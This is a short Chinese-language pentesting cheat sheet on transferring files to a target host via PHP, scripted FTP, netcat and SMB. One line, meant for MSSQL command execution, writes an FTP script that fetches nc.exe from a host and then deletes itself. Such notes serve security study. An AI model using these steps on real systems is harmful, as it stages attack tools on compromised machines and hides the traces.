其他传输方式

1、php脚本文件下载

  1. <?php
  2. $data = @file("http://example.com/file");
  3. $lf = "local_file";
  4. $fh = fopen($lf, 'w');
  5. fwrite($fh, $data[0]);
  6. fclose($fh);
  7. ?>

2、ftp文件下载

  1. >**windows下**
  2. >ftp下载是需要交互,但是也可以这样去执行下载
  3. open host
  4. username
  5. password
  6. bin
  7. lcd c:/
  8. get file
  9. bye
  10. >将这个内容保存为1.txt ftp -s:"c:\1.txt"
  11. >在mssql命令执行里面(不知道为什么单行执行一个echo,总是显示两行),个人一般喜欢这样
  12. echo open host >> c:\hh.txt & echo username >> c:\hh.txt & echo password >>c:\hh.txt & echo bin >>c:\hh.txt & echo lcd c:\>>c:\hh.txt & echo get nc.exe >>c:\hh.txt & echo bye >>c:\hh.txt & ftp -s:"c:\hh.txt" & del c:\hh.txt
  13. >**linux下**
  14. >bash文件
  15. ftp 127.0.0.1
  16. username
  17. password
  18. get file
  19. exit
  20. >或者使用busybox里面的tftp或者ftp
  21. >busybox ftpget -u test -P test 127.0.0.1 file.zip

3、nc文件传输

  1. 服务端:cat file | nc -l 1234
  2. 下载端:nc host_ip 1234 > file

4、使用SMB传送文件 本地linux的smb环境配置

  1. >vi /etc/samba/smb.conf
  2. [test]
  3. comment = File Server Share
  4. path = /tmp/
  5. browseable = yes
  6. writable = yes
  7. guest ok = yes
  8. read only = no
  9. create mask = 0755
  10. >service samba start

下载端

  1. net use o: \\192.168.206.129\test
  2. dir o:

其他传输方式 - 图1